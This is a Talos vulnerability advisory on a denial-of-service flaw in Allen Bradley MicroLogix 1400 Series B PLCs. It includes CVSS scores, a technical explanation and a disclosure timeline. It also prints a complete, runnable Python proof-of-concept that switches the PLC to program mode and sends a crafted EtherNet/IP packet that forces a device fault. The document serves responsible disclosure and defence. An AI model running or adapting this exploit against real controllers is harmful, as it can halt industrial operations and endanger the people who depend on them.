Lucene search

K
talosTalos IntelligenceTALOS-2017-0441
HistoryMar 28, 2018 - 12:00 a.m.

Allen Bradley Micrologix 1400 Series B Ladder Logic Program Download Device Fault Denial of Service Vulnerability

2018-03-2800:00:00
Talos Intelligence
www.talosintelligence.com
51

7.8 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

30.4%

Summary

An exploitable denial of service vulnerability exists in the program download functionality of Allen Bradley Micrologix 1400 Series B FRN 21.2 and before. A specially crafted packet can cause a device fault resulting in halted operations. An attacker can send an unauthenticated packet to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

<http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400&gt;

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-399 - Resource Management Errors

Details

When a new program is downloaded to the PLC it must go through a specific routine to obtain and lock the editing rights for the PLC. If errors are encountered during that process, the PLC enters a fault state. By sending the โ€˜Execute Command Listโ€™ packet used during a standard download process without the accompanying โ€˜download completeโ€™ packet, we can force the device to halt in the download state for one minute and then transition into the fault state.

Exploit Proof-of-Concept

Usage: python &lt;filename&gt;.py -i &lt;ip_addr&gt; [-p &lt;port&gt;]    Where the elements are as follows:
- &lt;filename&gt;  :  whatever name you give the script
- &lt;ip_addr&gt;   :  ip address of the plc
- &lt;port&gt;      :  EtherNet/IP port (defaults to 44818)

NOTE: If testing against a real device, the PLC must be in the REMOTE keyswitch mode

import argparse
import socket
import binascii
import random

def pad_hex(hex_str, size):
    if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
    if len(hex_str) != size:
        numzeros = size - len(hex_str) 
        zeros = "0"*numzeros
        hex_str = "%s%s" % (zeros, hex_str)
    return hex_str

def split_hex(hex_str):
    return list(map(''.join, zip(*[iter(hex_str)]*2)))

def get_tns():
    temp_tns = pad_hex(hex(int(random.random()*65535)).replace("0x",""), 4)
    tns = binascii.unhexlify(temp_tns)
    return tns

def build_eth_instruction(instruction_elements, session_handle):
    command_code      = "\x6f\x00"
    status            = "\x00\x00\x00\x00"
    sender_context    = "\x00\x00\x00\x01\x00\x28\x1e\x4d"
    options           = "\x00\x00\x00\x00"
    handle            = "\x00\x00\x00\x00"
    timeout           = "\x00\x00"
    num_items         = "\x02\x00"
    addr_data_type    = "\x00\x00"
    addr_data_length  = "\x00\x00"
    data_data_type    = "\xb2\x00"
    service_code      = "\x4b"
    size_req_path     = "\x02"
    req_path          = "\x20\x67\x24\x01"
    length_req_id     = "\x07"
    cip_vendor_id     = "\x01\x00"
    cip_ser_num       = "\xf2\x0c\x02\x00"
    cmd = instruction_elements['cmd']
    sts = "\x00"
    tns = get_tns()
    fnc = instruction_elements['fnc']
    data = instruction_elements['data']
    pccc_cmd = "%s%s%s%s%s" % (cmd, sts, tns, fnc, data)
    data_data_length = len(service_code) + len(size_req_path) + len(req_path) + len(length_req_id) + len(cip_vendor_id) + len(cip_ser_num) + len(pccc_cmd)
    data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length + 16)[2:])
    data_data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length)[2:])
    payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (command_code, data_length, session_handle, status, sender_context, options, handle, timeout, num_items, addr_data_type, addr_data_length, data_data_type, data_data_length, service_code, size_req_path, req_path, length_req_id, cip_vendor_id, cip_ser_num, pccc_cmd)
    return payload

def send_instruction(instruction_elements,session_handle):
    return_response = ""
    instruction = build_eth_instruction(instruction_elements, session_handle)
    sock.send(instruction)
    return_response = sock.recv(1024)
    return return_response

def set_cpu_state(state, session_handle):
    payload = ""
    if state == "run": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x06"}
    elif state == "prog": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x01"}
    send_instruction(payload, session_handle)

def register_session():
    registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
    sock.send(registersession_data)
    reg_session_response = binascii.hexlify(sock.recv(28))
    session_handle = binascii.unhexlify(reg_session_response[8:16])
    return session_handle

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
args = parser.parse_args()

dst = args.ipaddr
port = args.port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dst, port))
session_handle = register_session()

execute_cmd_list = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\x83\xf1\x01\x56"}
set_cpu_state("prog",session_handle)
send_instruction(execute_cmd_list, session_handle)

sock.shutdown(socket.SHUT_RDWR)
sock.close()

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

7.8 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

30.4%